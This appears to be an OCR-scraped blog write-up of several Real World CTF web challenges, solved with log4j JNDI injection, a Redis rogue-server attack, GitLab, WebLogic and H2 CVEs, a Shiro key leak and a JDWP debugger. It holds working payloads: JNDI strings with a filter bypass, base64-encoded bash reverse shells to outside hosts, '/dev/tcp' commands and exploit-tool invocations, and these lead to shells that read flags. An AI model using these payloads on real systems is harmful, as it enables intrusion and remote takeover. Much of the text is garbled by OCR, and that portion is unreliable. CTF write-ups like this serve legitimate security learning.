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>
. ShERGTR, FEMELRARSR, APPSR FEHRVAOREE, Hack the Real. TEXBEMA, FRALE—
##real World CTE.
Be A RWCTFer welcomes anyone who is interested in the Real World CTF especially the geeks from enterprises and
colleges, and whoever wish to promote your real hacking technigues within 24 hours
first real-world CTF challenge experience. Hack the Real.

Participated and receive your
Just BE A Real World CTF Player at First

CSDN @keepblue

logd4flag

Make log injection great

Note: may be helpful.

Using the script, you can solwve the proof-of-work interactively

vailable
to the

Souvenir Redemption Code: 5230cf0l1c285ec2f4fd04aSbdf882£34

CSDN @keepblue

-+ ~/Downloads python3 proof-of-work.py 47.182.135.31 9999
Solving proof of work...

47.102.135.31:31355 (available for 688 seconds)
Please send your payload to the address above.




FZe | 47.102.135.31:31355/login.html & & ® O g T I__; 4L @

el (. W oEEmE B owebnts M £8=it B A W linex B 5235 W study B wesReFEREHT B centos7 W sangror Woar B 12 B &35

Please sign in

Username

Password

#onlogdj, Mikpayload: ${jndi:rmi://xxx.dnslog.cn/Exp}

C

Illegal parameter value

FER bypass payload: ${${lower:j}${lower:n}${lower:d}i:${lower: rmi}://xxx.XXX.XXX.XxX:1099/siavc8}
HERRINIRS, Zidx#Eshel

»& [fdev/tcp, 'f12345 @>81[root@’ : ~]# echo YmFzaCAte
NSAWP | basesd
n ~]#
..-h ~]# java -jar JINDI-Injection-Exploit-1.@-SNAPSHOT-allijar -=C "bash -c {echo,YmFzaCA
AP iYx ' fhash,-1}" -A "47.1190188117"

whose trustURLCodebase is true):

whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath):

wl‘_"‘lﬁ-tr‘us‘tURLCodebase is true):

1 ]

: tening on 0.80808: 8188
202 12:17:86 [RMISERVER] >>MEEetening on 0.0.808:1099
2022-81-22 12:17:87 [LDAPSER > MEiStening on 0.0.0.971389

1-81-22 °




[rootiE ~]# nc -lvvp 12345

Ncat: Version 7.58 ( https://nmap.org/ncat )
Ncat: Listening on :::12345

Ncat: Listening on 8.8.7 ~:772458

Ncat: Connection from 4

Ncat: Connection from ¢ 154342,
bash: cannot set terminai process group (8): Inappropriate ioctl fer device
bash: no job control in this shell
ctf@d73fb273fcb3: /% 1ls

1s

bin

boot

dev

etc

flag

home

lib

lib32

lib64

media

mnt

opt

proc

root

run

sbin

srv

SYys

tmp ' CSDN @keepblue

ctf@d73fb273fcb3:/$ cat /flag
cat /flag

r'wctF{c:i-’-I-baflb837f'1:955:!I-2:=1:=193b43eeZSB-T
ctf@d73fb273fcb3:/$ |

flag: rwctf{d4b4b837f95542aa93b43ee280b230d8}

Time left 21:47:50

RENLWORLD <TF
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Be—a-Database—-Hacker

Score:
Web

Have fun hacking one of the most popular in-memory databases in the world.

Hint: Master—Slave Architecture
Note: may be helpful.

Using the script, you can solve the proof-of-work interactively:




WIERR, 6379 &3, R EKredis.
SREE H Hoht f5
R R B AL R )

CSDN @keepblue

Irootf@: "Un redis-rogue-server]# python3 redis-rogue-server.py --rhost 47.102.124.80 --rport 38321 --lhost=
--exp=exp.so 3

@copyright nebedy @ r3kapig

[info] TARGET 47 777 ~°4_ 8@:38321
[info] SERVER « ne
[info] Setting master...




[info] Setting dbfilename...

[info] Loading module...

[info] Temerory cleaning up...

What do u want, [i]nteractive shell ¢ Jeverse shell: i
[info] Interact mode start, enter
[<<] whoami

[5>] =Bredis J CSDN @keepbilue

n

to quit.

env

HOSTNAME=7718@8b71978

REDIS_DOWNLOAD_SHA=1elel8420a86 933123be4a82elebda2ebfbea289472745a087587e93a7
HOME=/home/redis ] i

PATH=/usr/local/sbin:/usr/loca Jusr/sbin:/usr/bin:/sbin: /bin
REDIS_DOWNLOAD_URL=http://down .redis.io/releases/redis-4.8.14.tar.gz
REDIS_VERSION=4.0.14 :

GOSU_VERSION=1.12

PWD=/data

1s /home/redis

1s /tmp

flag.txt

cat /tmp/flag.txt

rwctf{c4374dba71fbf50144F7a :
CSDN @keepbilue

flag: rwctf{c4374dba71fbf50144f7a1a04b7f5837}

the Secrets of Memory

Score: 158

Have fun digging into Spring Boot Actuator and hope you can reveal the Secrets of Memory.

Note: A may be helpful.

Using the script, you can solve the proof-of-work interactively:

Souvenir Redemption Code: 98f0b2468f460680b6cd58d5c902f6al CSDN @keepblue

Real World CTF X 139.196.213.45:37455

C 0O O F&£| 139.196.213.45:37455
Tl H

Halla Artiiatarll




TN F R kA Rl s

tipsfRBIE T, Spring Boot Actuator FfJ RCE

2KB - /actuator

208B /actuator/caches

6KB /actuator/env
247B /actuator/health

82KB - /actuator/beans

98KB /actuator/conditions
749B /actuator/metrics

54B /actuator/scheduledtasks
181B /actuator/info

32KB - /actuator/logfile
22KB - /actuator/mappings
14KB - /actuator/prometheus
57KB /actuator/loggers

8KB /actuator/configprops
188KB /actuator/threaddump
36MB /actuator/heapdum

M RN NN

M RN RN NNK

[
[
[
[
[
[
[
[
[
[
[
[
[
[
[

O T e T e e Ty Sy Y

NN RNNK

1) /actuator/env BT %, actuator 4% — L7 7H BURCHIA (0 password. secret) K& 2 X B B HEE R - 58,
DAIK B B SR R
X B#on, flagitZpassword, 1MiX B fpassword, & .

nyalue®: “E"
"origin": "URL [file:./config/application.properties]:20:43"

"spring.datasource.url"
"value": "jdbc:mysq /127.0.0.1:3306/flag?useUnicode=true&characterEncoding=utf-8"
"origin": "URL [file:./config/application.properties]:22:23"

“spring.datasource.username”
"value": ['the_datasource_password_is_flag"
"origin":| "URL [file:./config/application.properties]:23:28"

"spring.datasource.password"
nyalue" . "

"origin": "URL [file:./config/application.properties]:24:28"

TE HARBEAH M, fjolokia # 0 X &H A &M MBean B A3 R POST B RMIEHL T, 182 3REUE B 5 i U 285 B SCHI
ERRRAT o

XEFER AT AR Eclipse Memory Analyzer R43M#F /heapdump BY% /actuator/heapdump ¥ F#E K jvm heap 58, #LFE
B,

select * from java.util.LinkedHashMap$Entry x WHERE (toString(x.key).contains("password"))

£, Eclipse Memory Analyzer

File Edit Window Help

[ Inspector 2 % = O 8 heapdump 2 = 0 & Welcome 2
@ Ox5da66cda8 R I =R I IR R ] ® g vicw

;D;c 2l i Overview |E default_report org.eclipse.mat.api:suspects | @ OQL &2 I

aninlotart



select * from java.util.LinkedHashMap$Entry x WHERE (toString(x.key).contains("password”)) paslienr=tot

[cl class char[] @ 0x5da439d28 ‘L A
@giava.lang.object Offers several step-by-step
[l java.lang.ClassLoader @ 0x0 tutorials for quick access.

1196 (shallow size)
10196 (retained size)

o noGCroot Class Name Shallow Heap Retained Heap 2
Statics| Attributes| Class Hierarchy | Value - ~ LJIiava.util.LinkedHlashMa.p$Fntry @ 0x5dab6ccf0 40 232
& <class> class java.util.LinkedHashMap$Entry @ Ox5da72bcc0 System Class 0 0

Type Name  Value 2 Ll key java.lang String @ 0x5da66cd18 spring.datasource password 24 9%
L char _[0] r + Livalue org.springframework boot.origin.OriginTrackedValue$OriginTrackedCharSequence @ C 24 192

char 1] w [k <class> class org.springframework boot origin.OriginTrackedValue$OriginTrackedCharSeq 0 0

char [2] < « [ivalue javalang.String @ 0x5dab6cd90 rwcft{d597d5defdd22829d8587efbafad0954} 24 120

char [3] f < <class> class java.lang.String @_0x5da40c2a8 System Class, Native Stack 24 336

char [4] t ~ [ value char(39] @ 0x5da66cda8] rwcft{d507d5defdd22820d8587efbof9d0954) | 96 9%

char [5] { [k <class> class char[] @ 0x5da439d28 0 0

char [6] d 2 Total: 2 entries

char [7] 5 Ll origin org.springframework.boot.origin.TextResourceOrigin @ 0x5da66ce08 24 48

char [8] 9 2 Total: 3 entries

char [9] 7 ~ Libefore java.util LinkedHashMap$Entry @ 0x5da66ce38 40 216

char [10] d dcu <class> class java.util LinkedHashMap$Entry @ 0x5da72bcc0 System Class 0 0

char [11] 5 [l after java.util LinkedHashMap$Entry @ 0x5da66ccfo 40 232

char [12] d Likey java.lang.String @ Ox5da66ce60 spring.datasource.username 24 96

char [13] e ~ Livalue org.springframework.boot.origin.OriginTrackedValue$OriginTrackedCharSequence ( 24 176

char [14] f Ik <class> class org.springframework.boot.origin.OriginTrackedValue$OriginTrackedCharS 0 0

char [15] d Ll value java.lang.String @ 0x5da66ced8 the_datasource_password_is_flag 24 104

char [16] d Lk origin org.springframework.boot.origin.TextResourceOrigin @ 0x5da66cf40 24 48

2 Total: 3 entries

char [17] 2 - —

char [18] 2 L before java.util.LinkedHashMap$Entry @ 0x5da66¢f70 40 296 ¥

char [19] 8 [# Notes 2 =8

char [20] 2

char [21] 9

char [22] d

char [23] 8

char [24] 5

+ 75 aut of 20 dicnlavad v £SO

< <

flag: rwctf{d597d5defdd22829d8587efb9f9d0954 }

Time left 1.&:5L:08 = &

RENLWORLD <TF
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baby flaglab

Score: 1
Hope this challenge can bring back the flaglab pwning experience in Real World CTF 2018.

Note: For the remote envrionment, after proof-of-work, it may still take a few minutes to launch the flaglab
website. If you can't access the web page, just be patient:-)

HINT: Baby flaglab is too immaturate to properly process images.

102.166.96 8e8e

Note: may be helpful.

Using the script, you can solve the proof-of-work interactively:

$ python proof-of-work.py
Please enter md5 prefix: 6536
Solving...

Answer: 2544811

Or you can solve the proof-of-work automatically with host and port provided as arguments:

$ python proof-of-work.py 47.102.106.96 80880
Solving proof of work...

47.102.106.96:30151 (available for 6@@ seconds)
Please send your payload to the address above.

© 4/.102.106.96.




GitLab

A complete DevOps platform

Username or email
f ']

Password

Remember me Forg

Don't have an account yet? Register now

fal=l
o)

Filemarmhd 11
M @xeepblue

% 2 Gitlabf)—NCVE: CVE-2021-22205 ,E#echo 5 Kishell 2| tmp B & A5 W FHATIR 2R E AT E AT BL.

y-main>pythen3 CVE-2821-22205.py

¢ command

python CVE

.186.96:3U592/ {F {EW W

-a true -t http://U7.102.106.96:3uU592/ -c¢ "echo 'bash -i >& fdev/tep/u7

D:\TEOLs\1T001s\1WEB\ Ui i7 F| FA\Gitlab\CVE-2021-22205-main>python3 CVE-2021-22285.py -a true -t http://47.102.106.96:34592/ —c "chmod +x /tmp/Keep.sh"

e e vemme Al |
= el =S e
[/dl... WL FA- B

==

o T
\\ 7/l
\V/I

/7
I

Author:Allex@Heptagram
Github:https://github.com/Allex

: python CVE-2021-22205.py -v true -t target_url
python CVE-2021-22205.py —a true -t target_url -c command
: python CVE-2021-22205.py -s true -f file

[+] B http://U7.102.106.96:3U592/ F7fiEiE
[+] & Hldnslogak EHLHE & 1 =:)

B/

D:\T00Ls\1T00Ls\IWEB\U i A F FI\Gitlab\CVE-2021-22205-main>python3 CVE-2021-22205.py -a true -t http://47.102.106.96:3U592/ -c "/bin/bash /tmp/Keep.sh"

2 -

3 . I

\1:. 8 W,

Author:Allex@Heptagram
Github:https://github.com/Allex

I UF# 3 : python CVE-2021-22205.py -v true -t target_url
pardsiry - python CVE-2021-22205.py -a true -t target_url -c command
=KW python CVE-2021-22205.py -s true —f file

git@ebecf3defcbec:~/gitlab-workhorse$ 1ls /tmp
1s /tmp

Keep.sh

flag.txt

prometheus-mmap28220122-1839-vlhipc
prometheus-mmap28220122-1963-i66ylh
prometheus-mmap282208122-885-scwsBa

)
At | AL | Bl | e




prometheus-mmap26220122-868-1fnzf6j
git@ebect3defcbe:~/gitlab-workhorse$ cat /tmp/f

cat /tmp/flag.txt
rwcft{4edb62cb7b37d647e13bfed4f8d4b860Y}
git@ebecf3defc6e:~/gitlab-workhorse$ | i CSDN @keepblue

flag: rwctf{4edb62cb7b37d647e13bfed4f8d4b860}

Ghost Shiro

Score: 15C
Web

Ghostcat spies on everything of the website. No KEYs are exceptions.

nc 139.224.194.1180

Note: may be helpful.

Using the script, you can solve the proof-of-work interactively:
$ python proof-of-work.py
Please enter md5 prefix: 6536

Solving...
Answer: 2544911

Souvenir Redemption Code: c0e568f78e6c3e4423d96148alb87£25

XATBIE—ERAEK, Rik.

BT AR BRIE, shiro, {ERZEKikkey

W SciBidtomeat Ghostcat(CVE-2020-1938) IR LB shiro.inific B 3 fF, 75%Flkey: ODN6dDZxNzh5ejB6YTRseg==
B H 4T shiro5509 i B 7] .

Time left 7:15:25 = &

RENLWORLD <TF
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Flag Console

Score: 90
Web

Hack weblogic with only one url.

nc 47.102.143.222 9999

Note: may be helpful.

Using the script, you can solve the proof-of-work interactively:

$ python proof-of-work.py
Please enter md5 prefix: 6536
Solving. ..

Answer: 2544811

Or you can solve the proof-of-work automatically with host and port provided as arguments:

$ python proof-of-work.py 47.182.143.222 99399
Solving proof of work...
47.182.143.222:37570 (available for 600 seconds)

Please send your payload to the address above.

Souvenir Redemption Code: 4d3305b2863215ed3e32a2b60d9d5f%a




O | @ FEe| 41.102.143.222:4943)

Error 404--Not Found

From RFC 2068 Hypertext Transfer Protocol -- HTTP/1.1:

10.4.5 404 Not Found

CSDN @keepb1ue-

/d/Teels/1Teels/1WEB/ 4w e Al B /weblogicikm i/ CVE-2020-14882_ALL

+ /d/Teels/1Teels/1WEB/4jm E ¥ A /weblogicim Hidfti/CVE-2020-14882_ALL
CSDN @keepblue

flag: rwctf{a4c0185ddf2a4e679bd6f1df137c12ba}

Be-a-Database-Hacker 2




Be-a-Database-Hacker2

Be—a-Database-Hacker 2

If you are a phptapache+mysgler, don't miss this chance to taste this new database.

nc 101.132.252.88 9999

Note: may be helpfu

Using the script, you can solve the proof-of-work interactively:
$ python proof-of-work.py
Please enter md5 prefix: 6536

Solving...
Answer: 2544811

Or you can solve the proof-of-work automatically with host and port provided as arguments:
$ python proof-of-work.py 181.132.252.88 9999
Solving proof of work...
161.132.252.88:30151 (available for 600 seconds)

Please send your payleoad to the address above.

Souvenir Redemption Code: c0lad48367e2alf2cclTb3cB5fd367716 eepblue

A A4 | 101.132.252.88

Saved Settings Genenc H? (Embedded v

Setting Name Generic H? (Embedded Save Remove

Test Connectson

H2Bdi P 18 2R — T A7 A R L

MNOTICE: Transition to the all-new CVE website at www.cve.org is underway and will last up to one year. (details)

lational Vulnerability Database
ng = Fix Information » Vulnerable Software

CVE-2021-42392 L=armn mo

= CVSS Sev

ions = SCAP Mappings « CPE Informatior

The org.h2.util.JdbcUtils.getConnection method of the H2 database takes as parameters the class name of the driver and URL of the database. An attacker may pass a JNDI driver name and a URL leading to a LDAP ¢
remote code execution. This can be exploited through various attack vectors, most notably through the H2 Console which leads to unauthenticated remote code execution.

Mote: Refarances are provided for the convenience of the reader to help distinguish

=n vulnerabilities. The list is not intended to

JFROG

20211014 Disclaimer: The record creation date mav reflect when the CVE ID was allocated or reserved, and does not necessarily indicate when this vulnerability was discovered, shared with the afi



disclosed, or updated in CVE.

Simikesssneiaay

CVE-2021-42392 HIEFT

Saved Settings: Generic H2 (Embedded) v
Setting Name: Generic H2 (Embedded) Save | Remove
Driver Class: javax naming.InitialContext

JDBC URL ldap://47 T T1389gjjws

User Name: 53

Password:

Connect| Test Connection

[root@luochen ~]# nc -lvvp 12345

Ncat: Version 7.50 ( https://nmap.org/ncat )

Ncat: Listening on :::12345

Ncat: Listening on ©.8.0.9:12345

Ncat: Connection from 181.132.252.88. .
Ncat: Connection from 1©1.132.252.88:50134. /
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell

root@7d86289a2ea3: /tmp# 1ls /

ls /

bin

boot

dev

etc

home

lib

libe4

CSDNi@keepblue

root@7d86209a2ea3: /tmp# cd /root
cd /root
root@7d86209a2ea3:~# 1s




flag.txt

test.mv.db

root@7d86289a2ea3:~# cat flag.txt

cat flag.txt }

rwctf{6288999b48cdaba393f247ef828

root@7dg8e2e9a2ea3:~# | "4 CSDN @keepblue

flag: rwctf{6288999b40cda6a393f247ef82e137e2}

HOME NEWS CHALLENGE TREND SCOREBOARD MY TEAM

Java Remote Debugger

Score: 105

What would you do if you get a remote debugger for Java?

Souvenir Redemption Code: 7f9d472595c9%badl770ebe24a8e08c3

CSDN @keepblue

java debugifii® , F &M F -

FOLDERS Dockerfile 5 Testjava
Jdwp
[ Dockerfile
I= flag.bet
* run.sh

class Test {
void main (String[] args) throws Exception{

import

int i = @;
/% Testjava while (1

+ 1i);

CSDN @keepblue

4P Dockerfile 4 Testjava

1 #!/bin/
cp fapp/Test.java .
javac Test.java
port=%( (SRANDOM + 32768))
(java -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=0.0.8.0:%$port Test >/dev/null 2>/dev/null &)
socat -1f /dev/null - TCP4:127.8.0.1:%port,retry=5

wait

CSDN @keepblue




4)r Dockerfile . X run.sh Testjava

1 rwctF{XOOOMXXXXXXXXXXXXXXXXXXXXXKXX XXX }

4 Dockerfile ®  flag.bt Testjava

1 [FROM java:s
RUN apt-get update; apt-get install -y socat & rm -rf /var/cache/apt/*
RUN useradd -u 1880 -m --home-dir /home/user user
ADD Test.java /app/Test.java
ADD run.sh /app/run.sh
ADD flag.txt /home/user/flag.txt
USER user
CMD socat TCP-LISTEN:8888,fork,reuseaddr EXEC:/app/run.

CSDN @keepblue

B R — Ljavafs R AR .
JDWP (Java DEbugger Wire Protocol) : EfJavailifZ&kthill, & —AKJavaiflifim i it f@Emas B, B T ka8 fbk
AR Z LRI E B IER. RN ER LI B R R RTIee T, A v sk Bt & FIH RCE.

[root@luochen jdwp-shellifier-master]# python jdwp-shellifier.py -t 139.196.23.281 -p 8888 --break-on "java.lang.String.
indexOf” --cmd “bash -c {echo, YmFzaCAtaSis e o rBxMjMBNSAwWPiYx} | {base64d, -d} | {bash,-1}"
[+] Targeting *139.156.23.201:8888" /AN

Reading settings for ‘OpenlDK 64-!&t Server VM - 1.8.8 111"
Found Runtime class: id=cf i
Found Runtime.getRuntime(): id=7j
Created break event id=2

g488ce.2e

=k o ok ok ok ok ko b

Waiting for an event on ‘java.l
Received matching event from thie
Selected payload "bash -c {echds
Command string object created

Runtime.getRuntime() returned

found Runtime.exec():
Runtime.exec() successful, r
Command successfully executi

id=7feag

2 c

Eréot@luochen jdwp-shellifier-maSs

user@feb9bebf3laa:

1s -1la

total 8872
drwxrwxrwt
drwxr-xr-x
- PWXP-XPr-X
-PWXr-Xr-x
-PWXP-XP-X
-PWXP-XPr-X
-PWXP-XP-X
-PWXP-XPr-X
-PWXr-Xr-x
-PWXP-XP-X
-rW-r--r--
-rw-r--r--
-PWXP-XP-X

PR RrPRPRRPRPRrRRRPRRRR B R

/tmp$ 1s -la

root
root
user
user
user
user
user
user
user
user
user
user
user
user

4096
4896
2
45
158
332
198
287
332
198
758
227
287
258886272

d Bx1
zaCAt

1a3

JEEString. indexOft

ext id:exlad

Jan
Jan
Jan
Jan
Jan
Jan
Jan
Jan
Jan
Jan
Jan
Jan
Jan

22
22
22
22
22
22
22
22
22
22
22

é

16:
87:
150
09:
16:
10:
16:
L5
14:
allsie
alzit
g7 :
i

Jan{ﬁ& 16:

eLC23aw
Y
52x60
AVro6pX
Botk
LIrEesu
OEHNBM
SZRJA
Test.class
Test.java
ZhY09
core

| LJEXNySxMjMBNSAwWPiYx} | {base6d, -d} | {bash,-1i}

CSDN @keepblue




- PWXr=-Xr=-X user f dhVo8F

=AW= =R user : exploit.txt

[l =Pl user r if

S user ; flag.tXt
-PWXP-Xr-X user hsXo

drwxr-xr-x root Jan : hsperfdata_root
drwxr-xr-x user : hsperfdata_user
-rW-r--r-- user ] index.html
-PW-pr--r-- user : index.html.1
-rW-r--r-- user index.html.2
-rW-r--r-- user index.html.3

user@feb9b6bf3laa: /tmp$ cat flag.i
cat flag.txt
rwctf{2cBe7108bcb45cc825caB7ecch
user@feb9b6bf3laa: /tmp$

flag: rwctf{2c@e7100bcb45cc825ca97ecch86e568}
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